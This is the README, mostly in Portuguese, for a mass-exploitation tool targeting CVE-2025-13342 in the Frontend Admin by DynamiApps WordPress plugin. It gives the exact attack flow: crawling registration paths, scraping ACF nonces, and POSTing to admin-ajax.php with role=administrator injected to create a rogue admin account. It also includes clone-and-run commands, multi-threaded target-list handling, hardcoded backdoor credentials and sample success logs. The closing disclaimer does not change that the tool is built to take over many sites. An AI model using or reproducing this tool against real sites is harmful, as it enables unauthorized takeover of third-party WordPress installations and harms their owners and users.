
Frontend Admin por DynamiApps <= 3.28.20 - Atualização Não Autenticada de Opções Arbitrárias
Frontend Admin by DynamiApps <= 3.28.20 - Atualização Arbitrária de Opções Não Autenticada
__ __ _ _ _ ___ ,________ _
/ ()(| |_// () / )/ \/ )|__ /| __/ __/| |/ )
| | | >- ----/| |/ \----| \ \|__|_/
\___/ \/ \___/ /__\_//__\__/ |\__/\__/ |/__
| Campo | Detalhe |
|---|---|
| ID CVE | CVE-2025-13342 |
| Pontuação | 9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Afetado | Frontend Admin by DynamiApps ≤ 3.28.20 |
| Autenticação | Nenhuma — totalmente não autenticado |
| Tipo | Verificação de Capacidade Insuficiente + Validação de Entrada → Escrita Arbitrária de Opção |
| CWE | CWE-284 · Controle de Acesso Impropriado |
O que acontece:
O manipulador ActionOptions::run() não verifica capacidades do usuário nem valida a entrada antes de escrever em wp_options. Um formulário público ACF frontend torna-se um canal aberto de escrita. O atacante define users_can_register=1 e default_role=administrator, então registra uma nova conta que recebe o papel de Administrador automaticamente.
Esta ferramenta ignora essa abordagem de duas etapas — ela envia diretamente o payload do formulário manipulado com role=administrator injetado nos campos de criação de usuário via acff[user][field_*], criando uma conta de administrador em uma única chamada AJAX.
1. Crawl common registration paths → locate ACF frontend form
2. Parse hidden fields → _acf_nonce, _acf_form
3. Map user fields → username · email · password · role
4. POST /wp-admin/admin-ajax.php
action=frontend_admin/form_submit
acff[user][<role_field>] = administrator
5. {"success":true} → admin account created
6. Log to acf_success.txt
requests
beautifulsoup4
colorama
rich
pip install requests beautifulsoup4 colorama rich
git clone https://github.com/Nxploited/CVE-2025-13342.git
cd CVE-2025-13342
pip install -r requirements.txt
python3 CVE-2025-13342.py
The tool is interactive. You will be asked four questions:
Targets file path → list.txt
Threads → 10
Timeout (seconds) → 10
Verbose debug → y / N
Credentials are fixed internally:
| Campo | Valor |
|---|---|
| Username | Nxadmin1 |
[email protected] | |
| Password | NxAdmin_1337#KSA |
Um host por linha — esquema opcional:
https://target1.com
target2.com
http://target3.com
A ferramenta verifica 28 caminhos por alvo em ordem, parando no primeiro formulário ACF válido:
/ /register/ /registration/ /signup/ /sign-up/
/user-registration/ /account/ /my-account/
/frontend-form/ /frontend-register/ ...
| Arquivo | Conteúdo |
|---|---|
acf_success.txt | Criações de administrador bem-sucedidas confirmadas |
Formato:
[2025-06-01 14:30:22] BASE=https://target.com FORM=https://target.com/register/
USER=Nxadmin1 [email protected] PASS=NxAdmin_1337#KSA JSON={"success":true,...}
Terminal:
[+] Target base: https://target.com
[+] Found form at: https://target.com/register/
_acf_nonce: a1b2c3d4e5
_acf_form: 123
[+] SUCCESS: https://target.com
[-] No suitable ACF Frontend form found on ...
[-] FAILED: https://target2.com
| Autor | Nxploited (Khaled Alenazi) |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
Esta ferramenta é fornecida apenas para pesquisa de segurança autorizada e fins educacionais.
O autor não assume nenhuma responsabilidade por qualquer uso contra sistemas sem permissão explícita por escrito do proprietário.
Acesso não autorizado é ilegal sob a CFAA, CMA e leis equivalentes em todo o mundo.
Você é o único responsável por suas ações.